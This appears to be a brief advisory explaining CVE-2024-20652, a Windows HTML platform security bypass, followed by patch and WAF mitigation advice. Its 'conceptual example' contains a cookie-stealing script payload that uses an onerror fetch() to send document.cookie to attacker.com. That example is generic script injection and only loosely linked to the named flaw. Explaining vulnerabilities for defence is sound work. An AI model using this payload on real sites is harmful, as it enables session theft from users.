How the Exploit Works
The CVE-2024-20652 vulnerability exploits a security feature bypass in the Windows HTML platform. An attacker can use this loophole to manipulate the HTML rendering process, thereby bypassing security features designed to prevent unauthorized access or execution of malicious code. The exploit could allow an attacker to manipulate web content in a way that exposes sensitive information or leads to unauthorized system access.
Conceptual Example Code
Consider this conceptual example of a malicious HTTP request that might exploit this vulnerability:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/html
<!DOCTYPE html>
<html>
<body>
<h1 id="demo">A Vulnerable HTML Element</h1>
<script>
// Malicious script that changes the content of the HTML element
document.getElementById("demo").innerHTML = "<img src='http://attacker.com/hack.jpg' onerror='fetch(\"http://attacker.com/collect?cookie=\"+document.cookie)'>";
</script>
</body>
</html>In the above example, the attacker alters the HTML content of the page using a malicious script. This script injects an image tag with a non-existent source, triggering an error. The onerror event handler then sends a fetch request to the attacker’s server, transmitting potentially sensitive information such as cookies.
Mitigation
To mitigate the risks associated with CVE-2024-20652, apply the vendor’s security patch as soon as it is available. Until the patch is applied, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help identify and block attempts to exploit this vulnerability. Regularly updating your security systems and maintaining good cybersecurity hygiene can also help protect your systems against such threats.
